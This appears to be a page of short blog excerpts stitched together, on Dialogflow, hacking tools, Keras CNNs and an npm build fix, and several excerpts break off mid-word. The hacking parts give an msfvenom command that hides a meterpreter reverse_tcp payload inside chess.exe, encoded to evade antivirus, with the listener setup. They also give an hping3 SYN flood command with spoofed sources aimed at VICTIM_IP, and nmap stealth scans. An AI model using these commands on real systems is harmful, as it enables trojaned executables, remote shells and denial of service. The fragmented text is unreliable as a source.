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Google provides a comprehensive set of client libraries for working with dialogflow. Languages supported includes  C#, Go, Java, Node, PHP, Python and Ruby as can be downloaded from the link here . You can list, create and delete intent. Detail documentation can be found from the same link.

User are able to import and export code, by going into Dialogflow Console . Then click on the "Gear" -> Export and Import -> as shown in diagram below :- And 

There are two types of shell namely bind and reverse shell. Bind shell creates a new service  and attacker connect to this service. Reverse shell on the other hand, is triggered by the user while an attacker runs some listener and target machine. msfvenom allows hacker to create / re-create a payload and hide it from AV detection. The command below, hides our payload / attack using reverse_tcp using an encoder called shikata_ga_nai into a file called chess.exe. msf > msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -x /usr/share/chess.exe -e x86/shikata_ga_nai -i 200 -f exe >chess.exe To listen to any victim, we will issue the following commands :- msf >use exploit/multi/handler msf > set payload windows/meterpreter/reverse_tcp

Hping3 is a ping command but slightly more advance. Simple use case scenario Get traceroute for a host hping3 --traceroute -V -1 0daysecurity.com Sends a Syn packet to port 80. hping3 -V -S -p 80  0daysecurity.com Advance use case scenario xmas scan hping3 -c 1 -V -p 80 -s 5050 -M 0 -UPF 0daysecurity.com null scan - if target port is closed, it sends TCP RST. If it is open, the target discard TCP NULL scan, sending no reply hping3 -c 1 -V -p 80 -s 5050 -Y 0daysecurity.com DOS Lan Attack  hping3 -V -c 1000000 -d 120 -S -w 64 -p 445 -s 445 --flood --rand-source VICTIM_IP --flood: sent packets as fast as possible. Don't show replies. --rand-dest: random destionation address mode. see the man. -V <-- li="" verbose=""> -c --count: packet count -d --data: data size -S --syn: set SYN flag -w --win: winsize (default 64) -p --destport [+][+] destination port(default 0) ctrl+z inc/dec -s --baseport: base sourc

zenmap is a port scanning tool. To fire this up in Kali Linux, goto Application -> Information Gathering -> ZenMap UI. Commonly used command :- a) nmap 192.168.0.0/25 send TCP SYNC to 1000 common ports. Also send imcp echo request to check if server is up b) nmap -O 192.168.1.1 identify operating system of the host c) nmap -sL 192.168.1.1 Do a simple DNS query for a specified ip and discover hostname in a network without querying individually servers in a network d)  nmap -sS -sU -PN 192.168.0.164 - -sS is a stealth scan -sU initiates a UDP scan e) nmap -T4 -A 192.168.0.100 Performs aggressive scanning with -A option f) nmap -T4 -F -v 192.168.0.100 Performs a fast scan with -F option while -v means verbose.

This post gives a working sample of training neutral net with cnn in keras. CNN setup is based on Yan LeCun configuration. model = Sequential() model.add(Conv2D( 32 , ( 3 , 3 ), input_shape =input_shape)) model.add(Activation( 'relu' )) model.add(MaxPooling2D( pool_size =( 2 , 2 ))) model.add(Conv2D( 32 , ( 3 , 3 ))) model.add(Activation( 'relu' )) model.add(MaxPooling2D( pool_size =( 2 , 2 ))) model.add(Conv2D( 64 , ( 3 , 3 ))) model.add(Activation( 'relu' )) model.add(MaxPooling2D( pool_size =( 2 , 2 ))) model.add(Flatten()) model.add(Dense( 64 )) model.add(Activation( 'relu' )) model.add(Dropout( 0.5 )) model.add(Dense( 1 )) model.add(Activation( 'sigmoid' )) model.compile( loss = 'binary_crossentropy' , optimizer = 'rmsprop' , metrics =[ 'accuracy' ]) validation_generator = test_datagen.flow_from_directory( validation_data_dir, target_size =(img_wid

I was getting this error when running npm install. The imported project "C:\Microsoft.Cpp.Default.props" was not found. Confirm that the path in the declaration is correct, and that the file exists on disk. Solution :- SET VCTargetsPath=C:\Program Files (x86)\MSBuild\Microsoft.Cpp\v4.0\v140 Thanks to Stackoverflow for this answer! :)

dot - computes a dot product between 2 tensors. Just like doing multiplication. conv2d - creates a convulsion - a square box that you hover over a 2d image matrix. maxPool2d - taking the max values out of a stride after we iterate our image with a predefined filter size. Small little window walks through our image to produce a matrix - which made up of biggest value of a filter. To see more please read from this link here. https://www.quora.com/What-is-max-pooling-in-convolutional-neural-networks dense layer - it is a linear function which maps input directly to output based on a predefined weight. sometimes weight can be a softmax function. dropout is a techniques used to prevent over fitting in neural network. Performs averaging and prevent co-adaptions.